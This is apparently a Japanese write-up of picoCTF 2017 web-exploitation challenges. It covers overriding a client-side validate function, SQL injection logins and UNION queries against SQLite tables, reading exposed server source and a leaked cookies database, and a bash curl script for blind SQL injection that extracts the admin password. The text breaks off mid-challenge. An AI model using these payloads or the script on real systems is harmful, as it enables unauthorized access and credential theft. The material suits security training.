picoCTF Write-Up (Web Exploitation)
picoCTF 2017 の web 問題の write-up です。
LEVEL1 - What is Web (20)
与えられたページの、html, css, js のコメントの中にそれぞれフラグの一部が隠されていて、3つを結合したものが最終的なフラグ。
LEVEL1 - Lazy Dev (50)
/static/client.js
の中身を読むと、
//Validate the password. TBD!
function validate(pword){
//TODO: Implement me
return false;
}
となっている。この関数を、Google Chrome の console で以下を実行して上書きしてみる。
function validate(pword){
return true;
}
この状態で適当にパスワードを入力して送信すると、フラグが表示される。
他にも chrome の sources タブで直接書き換える、ブレークポイントを仕掛ける、などの力技もある。
LEVEL2 - My First SQL (50)
問題概要
username と password から成るログインフォームが与えられる。
ポイント
- SQLインジェクション
解法
典型的なSQLインジェクション。以下を username に入力し、 password を適当に入力して送信すればok。
' OR 1=1 --
LEVEL2 - TW_GR_E1_ART (100)
問題概要
webでプレイできるゲームが与えられる。
ポイント
- node.js
解法
ファイルへのアクセス制限に不備があり、サーバのソースコードにアクセスできてしまう。
ヒントにある通り、サーバは node.js で実装されている。 node.js のアプリを作る場合大抵はプロジェクトのルートディレクトリに package.json ファイルが置かれる。試しに http://shell2017.picoctf.com:16929/package.json
にアクセスしてみると、 package.json の中身が見えてしまう。
package.json を読むと、 server/init.js
と server/serv.js
という2つのソースコードがあることがわかる。
http://shell2017.picoctf.com:16929/server/serv.js
などにアクセスするとソースを読める。
ソースを読むに当たりまず require(xxx)
でモジュールを読み込んでいる部分に着目する。
require の中身が ./xxx
となっていないものは一般的なライブラリを読み込んでいるだけなので無視する。
一方で require の中身が ./xxx
となっているものが実装されたコードを読み込んでいる部分になるので、そこに着目する。
require の中身が ./xxx
となっているものをたどっていって、 flag に関係ありそうな部分を抜粋すると、以下の通り。
case "revealFlag":
if (entity.items[action.item].effects[i].check == 64) {
outcome.flag = process.env["PICO_CTF_FLAG"];
}
break;
function createFlag(check, location) {
return {
name: "Flag",
description: "Gives you the flag... maybe.",
location: location,
use: 0,
id: check + 100,
sprite: "flag",
effects: [
{
type: "revealFlag",
check: check
},
{
type: "destroyItems"
}
]
};
}
// (中略) ...
module.exports = {
floors: [
{
range: [1, 3],
// (中略) ...
},
{
range: [4, 4],
timeLimit: 500,
generate: false,
bgm: "at-the-end-of-the-road",
description: {
map: {
width: 7,
height: 19,
grid: [
[ -4, -3, -3, -3, -3, -3, -2],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -5, 1, 1, 1, 1, 1, -1],
[ -6, -7, -7, -7, -7, -7, -8]
],
stairs: {
r: 16,
c: 3
},
// (中略) ...
},
enemies: [],
items: Array.from(new Array(83), (_, idx) => {
if (idx >= 2) {
idx++
}
if (idx >= 77) {
idx++;
}
var r = Math.floor(idx / 5) + 1;
var c = (idx % 5) + 1;
return createFlag(idx, { r: r, c: c });
}),
player: {
location: {
r: 1,
c: 3
}
}
}
}
],
この2つのソースファイルから、以下のことが読み取れる。
-
check == 64
となる effect をもつ item を見つければ flag に辿り着けそう。 - 4階には全部で83個の items がある。 items を生成するときに
createFlag
関数が呼ばれている。 -
createFlag
が生成する item でcheck == 64
となるのはidx
が 64 のとき。 -
idx
が 64 のとき、item のlocation
は{ r: 13, c: 5 }
となる。 - stairs の位置が
{ r: 16, c: 3 }
なので、該当する flag は階段の3こ上、2こ右のますにありそう。
したがって、
- 頑張ってゲームを解いて4階にたどり着く (..汗)
- 階段の3こ上、2こ右のますの item を取得する
- 取得した item を使う
とすることで、 flag を取得できる。
LEVEL2 - TW_GR_E2_EoTDS (120)
問題概要
ゲーム「Toaster Wars: Going Rogue」 再来。
前問と同様に webでプレイできるゲームが与えられる。
ポイント
- もはやゲーム
解法
前問と同様に4階にいってアイテムを取ればいい。
ヒントにある通り、敵であるヘラ?をうまく使う。
LEVEL3 - Biscuit (75)
問題概要
なんの変哲もないwebページが与えられる。
ポイント
- ファイルアクセス制限の不備
- sqlite
解法
まずソースをみる。すると、以下のようなコメントを見つける
<html>
<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
cookies.sqlite
というファイルがサーバのどこかに隠されていそう。
ページの背景画像が /private/image.png
に置かれていることから、 /private/cookies.sqlite
にアクセスしてみる。
すると、ファイルをダウンロードできる。
中身を見てみると、どうやら認証情報が記録されているらしい。
$ sqlite3 cookies.sqlite
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .mode column
sqlite> .headers on
sqlite> .tables
moz_cookies
sqlite> SELECT * FROM moz_cookies;
id baseDomain appId inBrowserElement name value host path expiry lastAccessed creationTime isSecure isHttpOnly
---------- ---------- ---------- ---------------- ---------- ---------------------- ---------- ---------- ---------- ---------------- ---------------- ---------- ----------
1 localhost 0 0 ID F3MAqpWxIvESiUNLHsflVd localhost / 1489365457 1489279130600290 1489279057101857 0 0
ということで、 cookie の ID
というキーに F3MAqpWxIvESiUNLHsflVd
という値を設定してみる。
もう一度アクセスしてみると、
flagゲット。
LEVEL3 - A Happy Union
問題概要
webサイトが与えられる。サイトは4つのページからなる。
- 登録ページ
- ログインページ
- 投稿一覧ページ
- 新規投稿ページ
ポイント
- SQLインジェクション
- UNION
解法
タイトルや問題文にもある通り、UNION による SQL インジェクションを使う。
今回は、投稿一覧ページのSQLに脆弱性がある。
この脆弱性にたどり着くには、まず、登録ページにて '
というユーザ名で登録する。次に、登録した情報でログインし、投稿一覧ページを表示する。すると、Status 500 が返ってきて、 select id, user, post from posts where user = ''';
というメッセージが表示される(親切設計!)
ここからわかることは、投稿一覧ページを表示する際に、
SELECT id, user, value FROM posts WHERE user = '<ユーザ名>'
というクエリが発行されており、 <ユーザ名>
の部分がエスケープされていないということ。
したがって、
- インジェクションしたいクエリをユーザ名として登録(パスワードは適当)
- ログイン
- 投稿一覧ページを表示
という手順でインジェクションができる。
試しに、UNION を使ってテーブル一覧を取得してみる。UNION を使う際のポイントは、 UNION より前の部分に存在するクエリと列の数を揃えること。テーブル一覧を取得するクエリは使われている RDB によって異なるので、とりあえず以下を試す。
-
' UNION SELECT table_name, 2, 3 FROM information_schema.tables --
-> Status 500。MySQL ではなさそう。 -
' UNION SELECT tablename, 2, 3 FROM pg_catalog.pg_tables --
-> Status 500。Postgres ではなさそう。 -
' UNION SELECT name, sql, 3 FROM sqlite_master WHERE type = 'table' --
-> SQLite が正解っぽい。
3つめのクエリで以下のような結果が返ってくる。
users テーブルの pass カラムにフラグが隠されているパターンが往々にしてあるので、以下を試す。
' UNION SELECT user, pass, 3 FROM users --
すると、 admin
ユーザのパスワード部分にフラグが現れる。
LEVEL3 - No Eyes
問題概要
ログインフォームが与えられる。
ポイント
- SQLインジェクション
- blind SQL
解法
SQLインジェクションを使う。 username に '
を入力すると、 Status 500 が返ってきて、 select * from users where user = ''';
というメッセージが表示される。 password についても同様のことができる。
そこで、 username: admin
, password: ' OR 1=1 --
と入力すると、以下のメッセージが表示される。
Login Functionality Not Complete. Flag is 63 characters
さらに、 username: admin
, password: ' OR 1=0 --
と入力すると、以下のようなメッセージが表示される。
Incorrect Password.
よって、 password フォームに SQL インジェクションをかけていき、ヒットするれコードがあれば Login Functionality Not Complete. Flag is 63 characters
、なければ Incorrect Password.
が返ってくると予想できる。
この挙動を利用して 63 文字のパスワードを見つければ、それがフラグになりそうと予想できる。
このように、SQLの結果を直接は確認できないが、結果の有無だけは観測できる、というパターンは blind SQL インジェクションにあたる。
今回はフラグの長さを教えてくれているので、自分で長さを見つけなくてもいい。
SUBSTR
などを使って1文字ずつ総当たりで正解文字列を探索すれば、正解文字列の長さを N
とすると O(N)
で探索が完了する。
手でやるには大変なので、スクリプトを作るといい。今回はシェルスクリプトで curl を使って書いた。
#!/bin/bash
set -eu
chars="_0123456789abcdefghijklmnopqrstuvwxyz- ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$&()*+\`./:;<=>?@[]\\^{}|~'"
echo $chars
ans=''
l=${#ans}
while [ $l -lt 63 ]; do
echo "========== l = $l, ans = $ans"
found=0
for (( i=0; i<${#chars}; i++ )); do
c=${chars:$i:1}
echo $ans$c
res=$(curl -s -X POST -F "username=admin" -F "password=' OR SUBSTR(pass,1,$(($l + 1))) = '$ans$c' --" http://shell2017.picoctf.com:16012/ 2>&1 | grep 'Login Functionality Not Complete' || :)
if [ ! -z "$res" ]; then
ans+=$c
found=1
break
fi
done
if [ $found -eq 0 ]; then
echo "Couldn't find new char!!!"
exit 1
fi
l=$(($l + 1))
done
echo "========== l = $l, ans = $ans"
LEVEL3 - TW_GR_E3_GtI
問題概要
ゲーム「Toaster Wars: Going Rogue」 再来。
ポイント
- javascript
解法
前問と同様、がっつりソースを読む。
使うとフラグを出してくれるitemがあるのは前回同様。item 作成部分の関数は以下の通り。 id
が 12
となっているのが分かる。
function createFlag(location) {
return {
name: "Flag",
description: "Gives you the flag.",
location: location,
use: 0,
id: 12,
sprite: "flag",
effects: [
{
type: "revealFlag"
}
]
};
}
さらに今回は、item をソートするときのバグに着目する。
socket.on("resortItems", function(){
// logger.warn("[sort]", socket.id);
db.getState(socket.id)
.then(function(state){
if (state.done) {
return;
}
var oldState = censor(state);
state.player.items.sort(function(a, b){
if(a.name < b.name){
return -1;
}
if(a.name > b.name){
return 1;
}
return 0;
});
for(var i = 0; i < state.player.items.length; i++){
state.player.items[i].id = i;
}
state.log = [];
return db.commit(socket.id, state)
.then(sendState(socket, oldState, false));
});
})
このソースによると、ユーザが item をソートしたときに、item の id が振り直されてしまっていることがわかる。
実際に試してみた様子が以下。